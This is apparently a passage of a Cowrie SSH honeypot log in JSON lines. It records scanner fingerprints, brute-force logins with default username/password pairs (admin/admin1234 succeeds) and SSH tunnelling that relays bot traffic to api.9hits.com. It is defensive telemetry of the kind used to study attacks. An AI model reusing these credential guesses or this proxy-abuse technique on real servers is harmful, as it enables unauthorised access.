{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.344193Z","src_ip":"91.92.40.36","session":"ad35063bd210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.350166Z","src_ip":"91.92.40.36","session":"ad35063bd210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.354726Z","src_ip":"45.153.34.195","session":"3e24f3f98556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.647075Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.695427Z","src_ip":"45.153.34.195","session":"3e24f3f98556","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:07.862415Z","src_ip":"63.141.242.2","session":"7638a0408852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:08.783970Z","src_ip":"45.153.34.195","session":"3e24f3f98556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14208,"dst_ip":"159.203.135.109","dst_port":22,"session":"0128ab8b9b2a","protocol":"ssh","message":"New connection: 91.92.40.36:14208 (159.203.135.109:22) [session: 0128ab8b9b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:09.104341Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20382,"dst_ip":"10.17.0.5","dst_port":22,"session":"676e97874f2e","protocol":"ssh","message":"New connection: 45.153.34.195:20382 (10.17.0.5:22) [session: 676e97874f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:10.122338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:10.165136Z","src_ip":"45.153.34.195","session":"676e97874f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:10.271689Z","src_ip":"45.153.34.195","session":"676e97874f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:10.645185Z","src_ip":"45.153.34.195","session":"676e97874f2e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:11.699450Z","src_ip":"91.92.40.36","session":"0128ab8b9b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:11.703624Z","src_ip":"91.92.40.36","session":"0128ab8b9b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:11.747019Z","src_ip":"45.153.34.195","session":"676e97874f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59652,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e628e542240","protocol":"ssh","message":"New connection: 123.27.168.40:59652 (10.17.0.5:22) [session: 0e628e542240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:12.286276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:12.292005Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:12.540679Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35288,"dst_ip":"10.17.0.5","dst_port":22,"session":"4665278a1a46","protocol":"ssh","message":"New connection: 45.153.34.195:35288 (10.17.0.5:22) [session: 4665278a1a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.019772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.082465Z","src_ip":"45.153.34.195","session":"4665278a1a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.164952Z","src_ip":"45.153.34.195","session":"4665278a1a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14266,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a690d0e8aa7","protocol":"ssh","message":"New connection: 91.92.40.36:14266 (159.203.135.109:22) [session: 3a690d0e8aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.482570Z"}
{"eventid":"cowrie.login.failed","username":"jarvis","password":"jarvis","message":"login attempt [jarvis/jarvis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.639103Z","src_ip":"45.153.34.195","session":"4665278a1a46","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:13.731615Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.094534Z","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.212035Z","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.348122Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZitGL2ZpQzZWcTBpMS9AQg%3D%3DIpYvDfXscz5%2BsbcLE4iUaM%2FrnQSpaIO5kBn%2F5BdEGCE0zqLuNgiijcp7fze%2BekNNp2oPYem9iBzzRkQEXBqzeja2S5hPX%2Bw0rCLAea8VlrPIFD%2BBXxy6CP9ThhLcc4m6PwIqOV%2FtG%2FiDN8Fzez9EZwmtOM9KerqiCf0b5m4wBRnFJKl9liW1eHE%2FqmmlTmYSycstkBHPJJ6cArDGyihbEiHuefJikeGoNlkm9MxBNOSP2JyRwQdYoRoCTTBa%2FZRfTQW8aZ%2BNbrp71VDGZ8U0aWOVklxZ5qApYpa%2B%2F81U51t4kaTdZsngFGRjRubXuKAhWCOgYEnPLnObfFJ%2FWHoq%2FLbRJzwt2VSrj4EXxCdO5QL4a1X3YnybTmZfAyClvfj7lvGaPSfMuum2dj2Etl5kPsNM%2BfDeZOi7vXIGa8N8Ns0bTJUgd4hu8XvxNo5gyk6W1oEccZIkWk4adSVc%2FJFpl%2FrFPA%2Fnq1GV5JSr7sMVQWDwXA8ISz%2F2oWkdhRIBj0uMWMN6xRtu1aMbQ%2BO%2FqhMWDR3BvjZmFI4BwcnQj%2F5EWV%2F1U29VRdOI42%2FYtKTfDxhw8nF%2F%2FrA7i3L7gbKuRJmtFzBp4NuvEewf4p4JPOXRxQaaGY5uBMYJ%2F4N1DoaTRoHXGj%2FP8fvXb97x4oPM9r1g0xU2zISgdxdRZPTZCKcvLZdeIC3FagXUS%2FljVAiQkWvi9LMNenZbSLuIG%2FVJ1i9t2UcRVUVAjwwupo%2FXjpygGgFZL5gIFY72WTRrYuPMkM0O3KPwMz7dgrthhvBE0u9xqI9QTzP1d%2FPM5MypGRxlRequNS%2FsyQ%2F0Syg5iCvuq03hCu6WZjxTifnpESQjpFHL8gpwCQ5sWeNl7diXuU4i5bSocEE2FolvYThj%2B%2BAHscNiWbzQnvCsQaFlNHHjmTHDlmsHyBAf%2FfO%2BHgPLIwvIkMgaA02uoeODloDx%2BAWrjAeEEni1sDuL9ja2hVPsulXdD55fXSJ7VCerPbKvEBt1Yv2PHJXEHjsqw83Afta%2BC3oPxhIXTePB%2BWXOpSq2OXLEfAboq84HJdYct%2BKFUdV7y70%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; RMX3430) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZitGL2ZpQzZWcTBpMS9AQg%3D%3DIpYvDfXscz5%2BsbcLE4iUaM%2FrnQSpaIO5kBn%2F5BdEGCE0zqLuNgiijcp7fze%2BekNNp2oPYem9iBzzRkQEXBqzeja2S5hPX%2Bw0rCLAea8VlrPIFD%2BBXxy6CP9ThhLcc4m6PwIqOV%2FtG%2FiDN8Fzez9EZwmtOM9KerqiCf0b5m4wBRnFJKl9liW1eHE%2FqmmlTmYSycstkBHPJJ6cArDGyihbEiHuefJikeGoNlkm9MxBNOSP2JyRwQdYoRoCTTBa%2FZRfTQW8aZ%2BNbrp71VDGZ8U0aWOVklxZ5qApYpa%2B%2F81U51t4kaTdZsngFGRjRubXuKAhWCOgYEnPLnObfFJ%2FWHoq%2FLbRJzwt2VSrj4EXxCdO5QL4a1X3YnybTmZfAyClvfj7lvGaPSfMuum2dj2Etl5kPsNM%2BfDeZOi7vXIGa8N8Ns0bTJUgd4hu8XvxNo5gyk6W1oEccZIkWk4adSVc%2FJFpl%2FrFPA%2Fnq1GV5JSr7sMVQWDwXA8ISz%2F2oWkdhRIBj0uMWMN6xRtu1aMbQ%2BO%2FqhMWDR3BvjZmFI4BwcnQj%2F5EWV%2F1U29VRdOI42%2FYtKTfDxhw8nF%2F%2FrA7i3L7gbKuRJmtFzBp4NuvEewf4p4JPOXRxQaaGY5uBMYJ%2F4N1DoaTRoHXGj%2FP8fvXb97x4oPM9r1g0xU2zISgdxdRZPTZCKcvLZdeIC3FagXUS%2FljVAiQkWvi9LMNenZbSLuIG%2FVJ1i9t2UcRVUVAjwwupo%2FXjpygGgFZL5gIFY72WTRrYuPMkM0O3KPwMz7dgrthhvBE0u9xqI9QTzP1d%2FPM5MypGRxlRequNS%2FsyQ%2F0Syg5iCvuq03hCu6WZjxTifnpESQjpFHL8gpwCQ5sWeNl7diXuU4i5bSocEE2FolvYThj%2B%2BAHscNiWbzQnvCsQaFlNHHjmTHDlmsHyBAf%2FfO%2BHgPLIwvIkMgaA02uoeODloDx%2BAWrjAeEEni1sDuL9ja2hVPsulXdD55fXSJ7VCerPbKvEBt1Yv2PHJXEHjsqw83Afta%2BC3oPxhIXTePB%2BWXOpSq2OXLEfAboq84HJdYct%2BKFUdV7y70%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.351189Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:14.589114Z","src_ip":"123.27.168.40","session":"0e628e542240","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*\\x9a?\\xadn4\\xfe\\x04\\x8d\\x0c\\xfc\\xc7\\x13\\x99\\x9d\\x91\\x99\\xdfy\\n^9\\xb3\\xe4\\xa2z\\x07\\x1f\\xe3!\\x88\\x0b X\\xb1\\x83bn@\\x13D\\x87vo\\xed\\xc7\\xe0\\x8a\\xf7\\xf6r\\xaf\\x0c\\xa9\\xf1\\xe3m\\x00t\\x98\\x0c\\xe8$-*\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 